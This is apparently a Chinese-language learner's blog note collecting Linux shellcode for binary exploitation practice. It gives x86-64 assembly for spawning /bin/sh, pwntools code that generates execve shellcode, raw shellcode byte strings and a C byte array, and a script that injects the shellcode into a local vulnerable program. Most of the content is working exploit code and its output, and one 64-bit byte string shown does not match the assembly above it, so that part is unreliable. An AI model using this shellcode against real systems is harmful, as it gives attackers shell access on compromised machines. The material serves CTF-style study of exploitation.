shellcode收集
学习过程放在下面了懒得删了,上面放shellcode收集
x86/64 Linux execve("/bin/sh") Shellcode
1
2
3
4
5
6
7
8
9
10
|
xor rdi, rdi
mov rsi, rdi
mov rdx, rdi
mov rdi, 0x68732f6e69622f2f
push rdi
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax, 0x3b
syscall
|
一个常见的例子是构建一个执行 execve("/bin/sh")
的 Shellcode,这通常用于利用漏洞获取一个 shell。
1
2
3
4
5
6
7
|
from pwn import *
# 使用 pwntools 提供的函数生成一个 execve("/bin/sh") 的 Shellcode
shellcode = asm(shellcraft.sh())
print("Shellcode:")
print(shellcode)
|
解释:
shellcraft.sh()
:这是 pwntools
中的一个快捷函数,它生成一个调用 execve("/bin/sh")
的 Shellcode。
asm()
:将汇编代码转为字节码。
生成的 Shellcode 通常会是这样的(会根据平台不同有所变化):
1
|
\x48\x31\xc0\x50\x48\x89\xe2\x48\x83\xc0\x3b\x0f\x05
|
2. 自定义 Shellcode
你可以根据自己的需求自定义 Shellcode。假设我们需要构建一个简单的 execve
Shellcode 来执行一个特定的命令(例如 /bin/ls
):
1
2
3
4
5
6
7
8
9
10
|
from pwn import *
# 定义要执行的命令
command = '/bin/ls'
# 使用 pwntools 生成 execve("/bin/ls") 的 Shellcode
shellcode = asm(shellcraft.execve(command))
print("Shellcode:")
print(shellcode)
|
这里,shellcraft.execve(command)
生成一个执行给定命令的 Shellcode。
3. 调试和测试 Shellcode
你可以使用 pwnlib
中的 context
来设置目标架构,确保生成的 Shellcode 能在正确的环境下执行。假设你希望生成 x86 架构的 Shellcode:
1
2
3
4
5
6
7
8
9
10
|
from pwn import *
# 设置目标架构(x86)
context.arch = 'i386'
# 生成 x86 execve("/bin/sh") Shellcode
shellcode = asm(shellcraft.sh())
print("Shellcode:")
print(shellcode)
|
你也可以设置更多的上下文选项,如操作系统、字节顺序等。pwntools
支持多种架构,常见的包括:
i386
:32 位 x86 架构
x86_64
:64 位 x86 架构
arm
, aarch64
:ARM 架构
mips
, mipsel
:MIPS 架构
4. 打包 Shellcode
有时我们需要将生成的 Shellcode 打包成 C 代码,或者将它嵌入到其他程序中,pwntools
提供了方便的转换方法。例如,生成 C 代码字符串:
1
2
3
4
5
6
7
8
9
10
11
|
from pwn import *
# 设置目标架构(x86)
context.arch = 'i386'
# 生成 Shellcode
shellcode = asm(shellcraft.sh())
# 转换成 C 语言中的字节数组
print("C Code Shellcode:")
print(f'char shellcode[] = "{shellcode.encode("unicode_escape").decode()}"')
|
生成的输出将是类似这样的 C 代码,可以嵌入到 C 程序中:
1
|
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
|
还有一种:自己编写好详细的汇编代码,然后通过asm()
函数生成字节码发送shellcode
1
2
3
4
5
6
7
8
9
10
11
12
|
shellcode = asm('''
mov rdx,0x2000
add rsi,0xd
syscall
''')
# shellcode = ('''
# mov rdx,0x2000
# add rsi,0xd
# syscall
# ''')
# p.send(asm(shellcode))
p.send(shellcode)
|
如果你需要通过网络连接(例如通过 remote
或 process
)发送 Shellcode,可以这样做:
1
2
3
4
5
6
7
8
9
10
11
|
from pwn import *
# 设置目标架构(x86_64)
context.arch = 'x86_64'
# 生成 Shellcode
shellcode = asm(shellcraft.sh())
# 通过 process 运行程序并注入 Shellcode
p = process('./vulnerable_program') # 假设你有一个存在漏洞的程序
p.send(shellcode) # 将 Shellcode 注入到程序中
|